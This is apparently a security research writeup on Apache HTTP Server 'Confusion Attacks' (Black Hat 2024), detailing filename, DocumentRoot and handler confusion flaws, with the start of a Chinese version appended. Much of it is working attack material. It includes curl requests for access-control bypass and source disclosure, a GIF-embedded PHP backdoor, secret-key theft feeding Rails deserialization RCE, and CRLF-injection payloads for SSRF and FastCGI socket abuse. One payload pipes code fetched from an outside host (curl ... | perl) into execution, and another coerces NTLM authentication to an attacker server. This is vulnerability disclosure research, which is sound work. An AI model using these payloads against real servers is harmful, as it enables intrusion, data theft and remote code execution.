As this is a new attack surface from Httpd’s architectural design and its internal mechanisms, naturally, the first person to delve into it can find the most vulnerabilities. Thus, I currently hold the most CVEs from Apache HTTP Server 😉. it leads to many updates that are not backward compatible. Therefore, patching these issues is not easy for many long-running production servers. If administrators update without careful consideration, they might disrupt existing configurations, causing service downtime. 😨

Now, it’s time to get started with our Confusion Attacks! Are you ready?

🔥 1. Filename Confusion

The first issue stems from confusion regarding the filename field. Literally, r->filename should represent a filesystem path. However, in Apache HTTP Server, some modules treat it as a URL. If, within an HTTP context, most modules consider r->filename as a filesystem path but some others treat it as a URL, this inconsistency can lead to security issues!

⚔️ Primitive 1-1. Truncation

So, which modules treat r->filename as a URL? The first is mod_rewrite, which allows sysadmins to easily rewrite a path pattern to a specified substitution target using the RewriteRule directive:

RewriteRule Pattern Substitution [flags]

The target can be either a filesystem path or a URL. This feature likely exists for user experience. However, this “convenience” also introduces risks. For instance, while rewriting the target paths, mod_rewrite forcefully treats all results as a URL, truncating the path after a question mark %3F. This leads to the following two exploitations.

Path: modules/mappers/mod_rewrite.c#L4141

/* * Apply a single RewriteRule */ static int apply_rewrite_rule(rewriterule_entry *p, rewrite_ctx *ctx) { ap_regmatch_t regmatch[AP_MAX_REG_MATCH]; apr_array_header_t *rewriteconds; rewritecond_entry *conds; // [...] for (i = 0; i < rewriteconds->nelts; ++i) { rewritecond_entry *c = &conds[i]; rc = apply_rewrite_cond(c, ctx); // [...] do the remaining stuff } /* Now adjust API's knowledge about r->filename and r->args */ r->filename = newuri; if (ctx->perdir && (p->flags & RULEFLAG_DISCARDPATHINFO)) { r->path_info = NULL; } splitout_queryargs(r, p->flags); // <------- [!!!] Truncate the `r->filename` // [...] } ✔️ 1-1-1. Path Truncation

The first primitive leverages this truncation on the filesystem path. Imagine the following RewriteRule:

RewriteEngine On RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"

The server would open the corresponding profile based on the username followed by the path /user/, for example:

$ curl http://server/user/orange # the output of file `/var/user/orange/profile.yml`

Since mod_rewrite forcibly treats all rewritten result as a URL, even when the target is a filesystem path, it can be truncated at a question mark, cutting off the tailing /profile.yml, like:

$ curl http://server/user/orange%2Fsecret.yml%3F # the output of file `/var/user/orange/secret.yml`

This is our first primitive — Path Truncation. Let’s pause our exploration of this primitive here for a moment. Although it might seem like a minor flaw for now, remember it— it will reappear in later attacks, gradually tearing open this seemingly little breach! 😜

✔️ 1-1-2. Mislead RewriteFlag Assignment

The second exploitation of the truncation primitive is to mislead the assignment of RewriteFlags. Imagine a sysadmin managing websites and their corresponding handlers through the following RewriteRule:

RewriteEngine On RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]

If a request ends with the .php extension, it adds the corresponding handler for the mod_php (this can also be an Environment Variable or Content-Type; you can refer to the official RewriteRule Flags manual for details).

Since the truncation behavior of the mod_rewrite occurs after the regular expression match, an attacker can use the original rule to apply flags to requests they shouldn’t apply to by using a ?. For example, an attacker could upload a GIF image embedded with malicious PHP code and execute it as a backdoor through the following crafted request:

$ curl http://server/upload/1.gif # GIF89a <?=`id`;> $ curl http://server/upload/1.gif%3fooo.php # GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)

⚔️ Primitive 1-2. ACL Bypass

The second primitive of Filename Confusion occurs in the mod_proxy. Unlike the previous primitive which treats targets as a URL in all cases, this time the authentication and access control bypass is caused by the inconsistent semantic of r->filename among the modules!

It actually makes sense for the mod_proxy to treat r->filename as a URL, given that the primary purpose of a Proxy is to “redirect” requests to other URLs. However, security issues when different components interact — especially the case when most modules by default treat the r->filename as a filesystem path, imagine you use a file-based access control, and now mod_proxy treats r->filename as a URL; this inconsistency can lead to the access control or authentication bypass!

A classic example is when sysadmins use the Files directive to restrict a single file, like admin.php:

<Files "admin.php"> AuthType Basic AuthName "Admin Panel" AuthUserFile "/etc/apache2/.htpasswd" Require valid-user </Files>

This type of configuration can be bypassed directly under the default PHP-FPM installation! It’s also worth mentioning that this is one of the most common ways to configure authentication in Apache HTTP Server! Suppose you visit a URL like this:

http://server/admin.php%3Fooo.php

First, in the HTTP lifecycle at this URL, the authentication module will compare the requested filename with the protected files. At this point, the r->filename field is admin.php?ooo.php, which obviously does not match admin.php, so the module will assume that the current request does not require authentication. However, the PHP-FPM configuration is set to forward requests ending in .php to the mod_proxy using the SetHandler directive:

Path: /etc/apache2/mods-enabled/php8.2-fpm.conf

# Using (?:pattern) instead of (pattern) is a small optimization that # avoid capturing the matching pattern (as $1) which isn't used here <FilesMatch ".+\.ph(?:ar|p|tml)$"> SetHandler "proxy:unix:/run/php/php8.2-fpm.sock|fcgi://localhost" </FilesMatch>

The mod_proxy will rewrite r->filename to the following URL and call the sub-module mod_proxy_fcgi to handle the subsequent FastCGI protocol:

proxy:fcgi://127.0.0.1:9000/var/www/html/admin.php?ooo.php

Since the backend receives the filename in a strange format, PHP-FPM has to handle this behavior specially. The logic of this handling is as follows:

Path: sapi/fpm/fpm/fpm_main.c#L1044

#define APACHE_PROXY_FCGI_PREFIX "proxy:fcgi://" #define APACHE_PROXY_BALANCER_PREFIX "proxy:balancer://" if (env_script_filename && strncasecmp(env_script_filename, APACHE_PROXY_FCGI_PREFIX, sizeof(APACHE_PROXY_FCGI_PREFIX) - 1) == 0) { /* advance to first character of hostname */ char *p = env_script_filename + (sizeof(APACHE_PROXY_FCGI_PREFIX) - 1); while (*p != '\0' && *p != '/') { p++; /* move past hostname and port */ } if (*p != '\0') { /* Copy path portion in place to avoid memory leak. Note * that this also affects what script_path_translated points * to. */ memmove(env_script_filename, p, strlen(p) + 1); apache_was_here = 1; } /* ignore query string if sent by Apache (RewriteRule) */ p = strchr(env_script_filename, '?'); if (p) { *p =0; } }

As you can see, PHP-FPM first normalizes the filename and splits it at the question mark ? to extract the actual file path for execution (which is /var/www/html/admin.php). This leads to the bypass, and basically, all authentications or access controls based on the Files directive for a single PHP file are at risk when running together with PHP-FPM! 😮

Many potentially risky configurations can be found on GitHub, such as phpinfo() restricted to internal network access only:

# protect phpinfo, only allow localhost and local network access <Files php-info.php> # LOCAL ACCESS ONLY # Require local # LOCAL AND LAN ACCESS Require ip 10 172 192.168 </Files>

Adminer blocked by .htaccess:

<Files adminer.php> Order Allow,Deny Deny from all </Files>

Protected xmlrpc.php:

<Files xmlrpc.php> Order Allow,Deny Deny from all </Files>

CLI tools prevented from direct access:

<Files "cron.php"> Deny from all </Files>

Through an inconsistency in how the authentication module and mod_proxy interpret the r->filename field, all the above examples can be successfully bypassed with just a ?.

🔥 2. DocumentRoot Confusion

The next attack we’re diving into is the confusion based on DocumentRoot! Let’s consider this Httpd configuration for a moment:

DocumentRoot /var/www/html RewriteRule ^/html/(.*)$ /$1.html

When you visit the URL http://server/html/about, which file do you think Httpd actually opens? Is it the one under the root directory, /about.html, or is it from the DocumentRoot at /var/www/html/about.html?

The answer is — it accesses both paths. Yep, that’s our second Confusion Attack. For any[1] RewriteRule, Apache HTTP Server always tries to open both the path with DocumentRoot and without it! Amazing, right? 😉

[1] Located within Server Config or VirtualHost Block

Path: modules/mappers/mod_rewrite.c#L4939

if(!(conf->options & OPTION_LEGACY_PREFIX_DOCROOT)) { uri_reduced = apr_table_get(r->notes, "mod_rewrite_uri_reduced"); } if (!prefix_stat(r->filename, r->pool) || uri_reduced != NULL) { // <------ [1] access without root int res; char *tmp = r->uri; r->uri = r->filename; res = ap_core_translate(r); // <------ [2] access with root r->uri = tmp; if (res != OK) { rewritelog((r, 1, NULL, "prefixing with document_root of %s" " FAILED", r->filename)); return res; } rewritelog((r, 2, NULL, "prefixed with document_root to %s", r->filename)); } rewritelog((r, 1, NULL, "go-ahead with %s [OK]", r->filename)); return OK; }

Most of the time, the version without DocumentRoot doesn’t exist, so Apache HTTP Server goes for the version with the DocumentRoot. But this behavior already lets us “intentionally” access paths outside the Web Root. If today we can control the prefix of the RewriteRule, couldn’t we access any file on the system? That’s the spirit of our second Confusion Attack! You can find numerous problematic configurations on GitHub, and even the examples from official Apache HTTP Server documentations are vulnerable to attacks:

# Remove mykey=??? RewriteCond "%{QUERY_STRING}" "(.*(?:^|&))mykey=([^&]*)&?(.*)&?$" RewriteRule "(.*)" "$1?%1%3"

There are other RewriteRule that are also affected, such as rules based on caching needs or hiding file extensions:

RewriteRule "^/html/(.*)$" "/$1.html"

The Rule trying to save bandwidth by opting for compressed versions of static files:

RewriteRule "^(.*)\.(css|js|ico|svg)" "$1\.$2.gz"

The rule redirecting old URLs to the main site:

RewriteRule "^/oldwebsite/(.*)$" "/$1"

The rule returning a 200 OK for all CORS preflight requests:

RewriteCond %{REQUEST_METHOD} OPTIONS RewriteRule ^(.*)$ $1 [R=200,L]

Theoretically, as long as the target prefix of a RewriteRule is controllable, we can access nearly the entire filesystem. But from the real-world cases above, extensions like .html and .gz are the restrictions that keep us from being truly free. So, can we access files outside .html? I am not sure if you remember the primitive of Path Truncation from the Filename Confusion earlier? By combining these two primitives, we can freely access arbitrary files on the filesystem!

The following demonstrations are all based on this unsafe RewriteRule:

RewriteEngine On RewriteRule "^/html/(.*)$" "/$1.html"

⚔️ Primitive 2-1. Server-Side Source Code Disclosure

Let’s introduce the first primitive of DocumentRoot Confusion — Arbitrary Server-Side Source Code Disclosure!

Since Apache HTTP Server decides whether to consider a file as a Server-Side Script based on the current directory or virtual host configuration, accessing target via an absolute path can confuse Httpd’s logic, causing it to leak contents that should have been executed as code.

✔️ 2-1-1. Disclose CGI Source Code

Starting with the disclosure of server-side CGI source code, since mod_cgi binds the CGI folder to a specified URL prefix via ScriptAlias, directly accessing a CGI file using its absolute path can leak its source code due to the change of URL prefix.

$ curl http://server/cgi-bin/download.cgi # the processed result from download.cgi $ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F # #!/usr/bin/perl # use CGI; # ... # # the source code of download.cgi ✔️ 2-1-2. Disclose PHP Source Code

Next is the disclosure of server-side PHP source code. Given that PHP has numerous use cases, if PHP environments are applied only to specific directories or virtual hosts (which is common in web hosting), accessing PHP files from a virtual host which didn’t support PHP can disclose the source code!

For example, www.local and static.local are two websites hosted on the same server; www.local allows PHP execution while static.local only serves static files. Hence, you can disclose sensitive info from config.php like this:

$ curl http://www.local/config.php # the processed result (empty) from config.php $ curl http://www.local/var/www.local/config.php%3F -H "Host: static.local" # the source code of config.php

⚔️ Primitive 2-2. Local Gadgets Manipulation!

Next up is our second primitive — Local Gadgets Manipulation.

First, when we talked about “accessing any file on the filesystem,” did you wonder: “Hey, could an unsafe RewriteRule access /etc/passwd?” The answer is Yes, and also no. What?

Technically, the server does check if /etc/passwd exists, but Apache HTTP Server’s built-in access control blocks our access. Here’s a snippet from Apache HTTP Server’s configuration template:

<Directory /> AllowOverride None Require all denied </Directory>

You’ll notice it defaults to blocking access to the root directory / (Require all denied). So our “arbitrary file access” ability seems a bit less “any.” Does that mean the show’s over? Not really! We have already broken the trust of only-allowed-access to the DocumentRoot, it’s a significant step forward!

A closer inspection of different Httpd distributions reveals that Debian/Ubuntu operating systems by default allow /usr/share:

<Directory /usr/share> AllowOverride None Require all granted </Directory>

So, the next step is to “squeeze” all possibilities within this directory. All available resources, such as existing tutorials, documentation, unit test files, and even programming languages like PHP, Python, and even PHP modules could become targets for our abuse!

P.S. Of course, the exploitation here is based on the Httpd distributed by Ubuntu/Debian operating systems. However, in practice, we have also found that some applications remove the Require all denied line from the root directory, allowing direct access to /etc/passwd.

✔️ 2-2-1. Local Gadget to Information Disclosure

Let’s hunt for potentially exploitable files in this directory. First off, if the target Apache HTTP Server has the websocketd service installed, the default package includes an example PHP script dump-env.php under /usr/share/doc/websocketd/examples/php/. If there’s a PHP environment on the target server, this script can be accessed directly to leak sensitive environment variables.

Additionally, if the target has services like Nginx or Jetty installed, though /usr/share is theoretically a read-only copy for package installation, these services still place their default Web Roots under /usr/share, making it possible to leak sensitive web application information, such as the web.xml in Jetty.

• /usr/share/nginx/html/
• /usr/share/jetty9/etc/
• /usr/share/jetty9/webapps/

Here’s a simple demonstration using setup.php from the Davical package, which exists as a read-only copy, to leak contents of phpinfo().

✔️ 2-2-2. Local Gadget to XSS

Next, how to turn this primitive into XSS? On the Ubuntu Desktop environment, LibreOffice, an open-source office suite, is installed by default. We can leverage the language switch feature in the help files to achieve XSS.

Path: /usr/share/libreoffice/help/help.html

var url = window.location.href; var n = url.indexOf('?'); if (n != -1) { // the URL came from LibreOffice help (F1) var version = getParameterByName("Version", url); var query = url.substr(n + 1, url.length); var newURL = version + '/index.html?' + query; window.location.replace(newURL); } else { window.location.replace('latest/index.html'); }

Thus, even if the target hasn’t deployed any web application, we can still create XSS using an unsafe RewriteRule through files that come within the operating system.

✔️ 2-2-3. Local Gadget to LFI

What about arbitrary file reading? If the target server has PHP or frontend packages installed, like JpGraph, jQuery-jFeed, or even WordPress or Moodle plugins, their tutorials or debug consoles can become our gadgets, for example:

• /usr/share/doc/libphp-jpgraph-examples/examples/show-source.php
• /usr/share/javascript/jquery-jfeed/proxy.php
• /usr/share/moodle/mod/assignment/type/wims/getcsv.php

Here’s a simple example exploiting proxy.php from jQuery-jFeed to read /etc/passwd:

✔️ 2-2-4. Local Gadget to SSRF

Finding an SSRF vulnerability is also a piece of cake, for instance, MagpieRSS offers a magpie_debug.php file, which is fabulous gadget for exploiting:

• /usr/share/php/magpierss/scripts/magpie_debug.php

✔️ 2-2-5. Local Gadget to RCE

So, can we achieve RCE? Hold on, let’s take it step by step! First, This primitive can reapply all known existing attacks again, like an old version of PHPUnit left behind by development or third-party dependencies, can be directly exploited using CVE-2017-9841 to execute arbitrary code. Or phpLiteAdmin installed with a read-only copy, which by default has the password admin. By now, you should see the vast potential of Local Gadgets Manipulation. What remains is to discover even more powerful and universal gadgets!

⚔️ Primitive 2-3. Jailbreak from Local Gadgets

You might ask: “Can’t we really break out of /usr/share?” Of course, we can, that brings out our third primitive — Jailbreak from /usr/share!

In Debian/Ubuntu distributions of Httpd, the FollowSymLinks option is explicitly enabled by default. Even in non-Debian/Ubuntu versions, Apache HTTP Server also implicitly allows Symbolic Links by default.

<Directory /> Options FollowSymLinks AllowOverride None Require all denied </Directory> ✔️ 2-3-1. Jailbreak from Local Gadgets

So, any package that has a Symbolic Link in its installation directory pointing outside of /usr/share can become a stepping-stone to access more gadgets for further exploitation. Here are some useful Symbolic Links we’ve discovered so far:

• Cacti Log: /usr/share/cacti/site/ -> /var/log/cacti/
• Solr Data: /usr/share/solr/data/ -> /var/lib/solr/data
• Solr Config: /usr/share/solr/conf/ -> /etc/solr/conf/
• MediaWiki Config: /usr/share/mediawiki/config/ -> /var/lib/mediawiki/config/
• SimpleSAMLphp Config: /usr/share/simplesamlphp/config/ -> /etc/simplesamlphp/

✔️ 2-3-2. Jailbreak Local Gadgets to Redmine RCE

To wrap up our jailbreak primitive, let’s showcase how to perform an RCE using a double-hop Symbolic Link in Redmine. In the default installation of Redmine, there’s an instances/ folder pointing to /var/lib/redmine/, and within /var/lib/redmine/, the default/config/ folder points to the /etc/redmine/default/ directory, which holds Redmine’s database setting and secret key.

$ file /usr/share/redmine/instances/ symbolic link to /var/lib/redmine/ $ file /var/lib/redmine/config/ symbolic link to /etc/redmine/default/ $ ls /etc/redmine/default/ database.yml secret_key.txt

Thus, through an insecure RewriteRule and two Symbolic Links, we can easily access the application secret key used by Redmine:

$ curl http://server/html/usr/share/redmine/instances/default/config/secret_key.txt%3f HTTP/1.1 200 OK Server: Apache/2.4.59 (Ubuntu) ... 6d222c3c3a1881c865428edb79a74405

And since Redmine is a Ruby on Rails application, the content of secret_key.txt is actually the key used for signing and encrypting. The next step should be familiar to those who have attacked RoR before: by embedding malicious Marshal objects, signed and encrypted with the known keys, into cookies, and then achieving remote code execution through Server-Side Deserialization!

🔥 3. Handler Confusion

The final attack I’m going to introduce is the confusion based on Handler. This attack also leverages a piece of technical debt that has been left over from the legacy architecture of Apache HTTP Server. Let’s quickly understand this technical debt through an example — if today you want to run the classic mod_php on Apache HTTP Server, which of the following two directives do you use?

AddHandler application/x-httpd-php .php AddType application/x-httpd-php .php

The answer is — both can correctly get PHP running! Here are the two directive syntaxes, and you can see that not only are the usages similar, but even the effects are exactly the same. Why did Apache HTTP Server initially design two different directives doing the same thing?

AddHandler handler-name extension [extension] ... AddType media-type extension [extension] ...

Actually, handler-name and media-type represent different fields within Httpd’s internal structure, corresponding to r->handler and r->content_type, respectively. The fact that users can use them interchangeably without realizing it is thanks to a piece of code that has been in Apache HTTP Server since its early development in 1996:

Path: server/config.c#L420

AP_CORE_DECLARE(int) ap_invoke_handler(request_rec *r) { // [...] if (!r->handler) { if (r->content_type) { handler = r->content_type; if ((p=ap_strchr_c(handler, ';')) != NULL) { char *new_handler = (char *)apr_pmemdup(r->pool, handler, p - handler + 1); char *p2 = new_handler + (p - handler); handler = new_handler; /* exclude media type arguments */ while (p2 > handler && p2[-1] == ' ') --p2; /* strip trailing spaces */ *p2='\0'; } } else { handler = AP_DEFAULT_HANDLER_NAME; } r->handler = handler; } result = ap_run_handler(r);

You can see that before entering the ap_run_handler(), if r->handler is empty, the content of the r->content_type is used as the final module handler. This is also why AddType and AddHandler have the identical effect, because the media-type is eventually converted into the handler-name before handling. So, our third Handler Confusion is mainly developed around this behavior.

⚔️ Primitive 3-1. Overwrite the Handler

By understanding this conversion mechanism, the first primitive is — Overwrite the Handler. Imagine if today the target Apache HTTP Server uses AddType to run PHP.

AddType application/x-httpd-php .php

In the normal process, when accessing http://server/config.php, mod_mime, during the type_checker phase, Httpd copies the corresponding content into r->content_type based on the file extension set by AddType. Since r->handler is not assigned during the entire HTTP lifecycle, ap_invoke_handler() will treat r->content_type as the handler, ultimately calling mod_php to handle the request.

However, what happens if any module “accidentally” overwrites r->content_type before reaching ap_invoke_handler()?

✔️ 3-1-1. Overwrite Handler to Disclose PHP Source Code

The first exploitation of this primitive is to disclose arbitrary PHP source code by the “accidentally-overwrite”. This technique was first mentioned by Max Dmitriev in his research presented at ZeroNights 2021 (kudos to him!), and you can check his slides here:

Apache 0day bug, which still nobody knows of, and which was fixed accidentally

Max Dmitriev observed that by sending an incorrect Content-Length, the remote Httpd server would trigger an unexpected error and inadvertently return the source code of PHP script. Upon investigating the process, he discovered that the issue was due to ModSecurity not properly handling the return value of AP_FILTER_ERROR while using the Apache Portable Runtime (APR) library, leading to a double response. When an error occurred, Httpd attempts to send out HTML error messages, thus accidentally overwriting r->content_type to text/html.

Because ModSecurity did not properly handle the return values, the internal HTTP lifecycle that should have stopped continued. This “side effect” also overwrote the originally added Content-Type, resulting in files that should have been processed as PHP being treated as plain documents, exposing its source code and sensitive settings. 🤫

$ curl -v http://127.0.0.1/info.php -H "Content-Length: x" > HTTP/1.1 400 Bad Request > Date: Mon, 29 Jul 2024 05:32:23 GMT > Server: Apache/2.4.41 (Ubuntu) > Content-Type: text/html; charset=iso-8859-1 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> ... <?php phpinfo();?>

In theory, all configurations based on Content-Type are vulnerable to this type of attack, so apart from the php-cgi paired with mod_actions shown in Max’s slides, pure mod_php coupled with AddType is also affected.

It’s worth mentioning that this side effect was corrected as a request parser bug in Apache HTTP Server version 2.4.44, thus treating this “vulnerability” as fixed until I picked it up again. However, since the root cause is still ModSecurity not handling errors properly, the same behavior can still be successfully reproduced if another code path that triggers AP_FILTER_ERROR is found.

P.S. This issue was reported to ModSecurity through the official security mail on 6/20, and the Project Co-Leader suggested returning to the original GitHub Issue for discussion.

✔️ 3-1-2. Overwrite Handler to ██████ ███████ ██████

Based on the double response behavior and its side effects mentioned earlier, this primitive could lead to other more cool exploitations. However, as this issue has not been fully fixed, further exploitation will be disclosed after the issue is fully resolved.

⚔️ Primitive 3-2. Invoke Arbitrary Handlers

Let’s think more carefully about the previous Overwrite Handler primitive, although it’s caused by ModSecurity not properly handling errors, leading to the request being set with the wrong Content-Type, the deeper fundamental root cause should be — when using r->content_type, Apache HTTP Server actually cannot distinguish its semantics; this field can be set by directive during the request phase or used as the Content-Type header in the server response.

Theoretically, if you can control the Content-Type header in the server response, you could invoke arbitrary module handlers through this legacy code snippet. This is the last primitive of Handler Confusion — invoking any internal module handler!

However, there’s still one last piece of the puzzle. In Httpd, all modifications to r->content_type from the server response occur after that legacy code. So, even if you can control the value of that field, at that point in the HTTP lifecycle, it’s too late to do further exploitation… is that right?

We turned to RFC 3875 for a rescue! RFC 3875 is a specification about CGI, and Section 6.2.2 defines a Local Redirect Response behavior:

The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified.

Simply put, the specification mandates that under certain conditions, CGI must use Server-Side resources to handle redirects. A close examination of mod_cgi implementation of this specification reveals:

Path: modules/generators/mod_cgi.c#L983

if ((ret = ap_scan_script_header_err_brigade_ex(r, bb, sbuf, // <------ [1] APLOG_MODULE_INDEX))) { ret = log_script(r, conf, ret, dbuf, sbuf, bb, script_err); // [...] if (ret == HTTP_NOT_MODIFIED) { r->status = ret; return OK; } return ret; } location = apr_table_get(r->headers_out, "Location"); if (location && r->status == 200) { // [...] } if (location && location[0] == '/' && r->status == 200) { // <------ [2] /* This redirect needs to be a GET no matter what the original * method was. */ r->method = "GET"; r->method_number = M_GET; /* We already read the message body (if any), so don't allow * the redirected request to think it has one. We can ignore * Transfer-Encoding, since we used REQUEST_CHUNKED_ERROR. */ apr_table_unset(r->headers_in, "Content-Length"); ap_internal_redirect_handler(location, r); // <------ [3] return OK; }

Initially, mod_cgi executes[1] CGI and scans its output to set the corresponding headers such as Status and Content-Type. If[2] the returned Status is 200 and the Location header starts with a /, the response is treated as a Server-Side Redirection and should be processed[3] internally. A closer look at the implementation of ap_internal_redirect_handler() shows:

Path: modules/http/http_request.c#L800

AP_DECLARE(void) ap_internal_redirect_handler(const char *new_uri, request_rec *r) { int access_status; request_rec *new = internal_internal_redirect(new_uri, r); // <------ [1] /* ap_die was already called, if an error occured */ if (!new) { return; } if (r->handler) ap_set_content_type(new, r->content_type); // <------ [2] access_status = ap_process_request_internal(new); // <------ [3] if (access_status == OK) { access_status = ap_invoke_handler(new); // <------ [4] } ap_die(access_status, new); }

Httpd first creates[1] a new request structure and copie[2] the current r->content_type into it. After processing[3] the lifecycle, it calls[4] ap_invoke_handler() — the place including the legacy transformation. So, in Server-Side Redirects, if you can control the response headers, you can invoke any module handler within Httpd. Basically, all CGI implementations in Apache HTTP Server follow this behavior, and here’s a simple list:

• mod_cgi
• mod_cgid
• mod_wsgi
• mod_uwsgi
• mod_fastcgi
• mod_perl
• mod_asis
• mod_fcgid
• mod_proxy_scgi
• …

As for how to trigger this server-side redirect in real-world scenarios? Since you need at least control over the response’s Content-Type and part of the Location, here are two scenarios for reference:

1. CRLF Injection in the CGI response headers, allowing overwriting of existing HTTP headers by new lines.
2. SSRF that can completely control the response headers, such as a project hosted on mod_wsgi like django-revproxy.

The following examples are all based on this insecure CRLF Injection for the purpose of demonstration:

#!/usr/bin/perl use CGI; my $q = CGI->new; my $redir = $q->param("r"); if ($redir =~ m{^https?://}) { print "Location: $redir\n"; } print "Content-Type: text/html\n\n"; ✔️ 3-2-1. Arbitrary Handler to Information Disclosure

Starting with invoking an arbitrary handler to disclose information, we use the built-in server-status handler in Apache HTTP Server, which is typically only allowed to be accessed locally:

<Location /server-status> SetHandler server-status Require local </Location>

With the ability to invoke any handler, it becomes possible to overwrite the Content-Type to access sensitive information that should not be accessible remotely:

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a

✔️ 3-2-2. Arbitrary Handler to Misinterpret Scripts

It’s also easy to transform an image with a legitimate extension into a PHP backdoor. For instance, this primitive allows specifying mod_php to execute embedded malicious code within the image, like:

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/uploads/avatar.webp %0d%0a
Content-Type:application/x-httpd-php %0d%0a
%0d%0a

✔️ 3-2-2. Arbitrary Handler to Full SSRF

Calling the mod_proxy to access any protocol on any URL is, of course, straightforward:

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:http://example.com/%3f %0d%0a
%0d%0a

Moreover, this is also a full-control SSRF where you can control all request headers and obtain all HTTP responses! A slight disappointment is when accessing Cloud Metadata, mod_proxy automatically adds an X-Forwarded-For header, which gets blocked by EC2 and GCP’s Metadata protection mechanisms, otherwise, this would be an even more powerful primitive.

✔️ 3-2-3. Arbitrary Handler to Access Local Unix Domain Socket

However, mod_proxy offers a more “convenient” feature — it can access local Unix Domain Sockets! 😉

Here’s a demonstration accessing PHP-FPM’s local Unix Domain Socket to execute a PHP backdoor located in /tmp/:

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a

Theoretically, this technique has even more potential, such as protocol smuggling (smuggling FastCGI in HTTP/HTTPS protocols 😏) or exploiting other vulnerable local sockets. These possibilities are left for interested readers to explore.

✔️ 3-2-4. Arbitrary Handler to RCE

Finally, let’s demonstrate how to transform this primitive into an RCE using a common CTF trick! Since the official PHP Docker image includes PEAR, a command-line PHP package management tool, using its Pearcmd.php as an entry point allows us to achieve further exploitation. You can check this article — Docker PHP LFI Summary, written by Phith0n for details!

Here we utilize a Command Injection within run-tests to complete the entire exploit chain, detailed as follows:

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

It’s common to see CRLF Injection or Header Injection being reported as XSS in Security Advisories or Bug Bounties. While it is true that these can sometimes chain to impactful vulnerabilities like Account Takeover through SSO, please don’t forget that they can also lead to Server-Side RCE, as this demonstration proves its potential!

🔥 4. Other Vulnerabilities

While this essentially covers the Confusion Attacks, some minor vulnerabilities discovered during our research of Apache HTTP Server are worth mentioning separately.

⚔️ CVE-2024-38472 - Windows UNC-based SSRF

Firstly, the Windows implementation of the apr_filepath_merge() function allows the use of UNC paths, which allows attackers to coerce NTLM authentication to any host. Here we list two different triggering paths:

✔️ Triggered via HTTP Request Parser

Direct triggering through an HTTP request parser in Httpd requires additional configuration, which might seem impractical at first glance but often appears with Tomcat (mod_jk, mod_proxy_ajp) or pairing with PATH_INFO:

AllowEncodedSlashes On

Additionally, since Httpd rewrote its core HTTP request parser logic after 2.4.49, triggering the vulnerability in versions above requires an additional configuration:

AllowEncodedSlashes On MergeSlashes Off

By using two %5C can force Httpd to coerce NTLM authentication to an attacker-server, and practically, this SSRF can be converted into RCE through NTLM Relay!

$ curl http://server/%5C%5Cattacker-server/path/to

✔️ Triggered via Type-Map

In the Debian/Ubuntu distribution of Httpd, Type-Map is enabled by default:

AddHandler type-map var

By uploading a .var file to the server and setting the URI field to a UNC path, you can also force the server to coerce NTLM authentication to the attacker. This is also the second .var trick I proposed. 😉

⚔️ CVE-2024-39573 - SSRF via Full Control of RewriteRule Prefix

Lastly, when you have full control over the prefix of a RewriteRule substitution target in Server Config or VirtualHost is fully controllable, you can invoke mod_proxy and its sub-modules:

RewriteRule ^/broken(.*) $1

Using the following URL can delegate the request to mod_proxy for processing:

$ curl http://server/brokenproxy:unix:/run/[...]|http://path/to

But if administrators have tested the rule properly, they would realize that such rules are impractical. Thus, originally it was reported along with another vulnerability as an exploit chain, but this behavior was also treated as a security boundary fix by the security team. As the patches came out, other researchers applied the same behavior to Windows UNC and obtained another additional CVE.

Future Works

Finally, let’s talk about future works and areas for improvement in this research. Confusion Attacks are still a very promising attack surface, especially since my research focused mainly on just two fields. Unless the Apache HTTP Server undergoes architectural improvements or provides better development standards, I believe we’ll see more “confusions” in the future!

So, what other areas could be enhanced? In reality, different Httpd distributions have different configurations, so other Unix-Like systems such as the RHEL series, BSD family, and even applications that utilize Httpd might have more escapable RewriteRule, more powerful local gadgets, and unexpected symbolic jumps. These are all left for those interested to continue exploring.

Due to time constraints, I was unable to share more real-world cases found and exploited in actual websites, devices, or even open-source projects. However, you can probably imagine — the real world is still full of countless unexplored rules, bypassable authentications, and hidden CGIs waiting to be uncovered. How to hunt these techniques worldwide? That’s your mission!

Conclusion

Maintaining an open-source project is truly challenging, especially when trying to balance user convenience with the compatibility of older versions. A slight oversight can lead to the entire system being compromised, such as what happened with Httpd 2.4.49, where a minor change in path processing logic led to the disastrous CVE-2021-41773. The entire development process must be carefully built upon a pile of legacy code and technical debt. So, if any Apache HTTP Server developers are reading this: Thank you for your hard work and contributions!

Orange Tsai (@orange_8361)  |  繁體中文版本  |  English Version .language-plaintext { background-color: #f9f2f4; } .highlight { border-left: 2px solid #44D62C !important; }

嗨，這是我今年發表在 Black Hat USA 2024 上針對 Apache HTTP Server 的研究。 此外，這份研究也將在 HITCON 和 OrangeCon 上發表，有興趣搶先了解可點此取得投影片：

Confusion Attacks: Exploiting Hidden Semantic Ambiguity in Apache HTTP Server!

另外也謝謝來自 Akamai 的友善聯繫！ 此份研究發表後第一時間他們也發佈了緩解措施 (詳情可參考 Akamai 的部落格)。

TL;DR

這篇文章探索了 Apache HTTP Server 中存在的架構問題，介紹了數個 Httpd 的架構債，包含 3 種不同的 Confusion Attacks、9 個新漏洞、20 種攻擊手法以及超過 30 種案例分析。 包括但不限於：

1. 怎麼使用一個 ? 繞過 Httpd 內建的存取控制以及認證。
2. 不安全的 RewriteRule 怎麼跳脫 Web Root 並存取整個檔案系統。
3. 如何利用一段從 1996 遺留至今的程式碼把一個 XSS 轉化成 RCE。

大綱

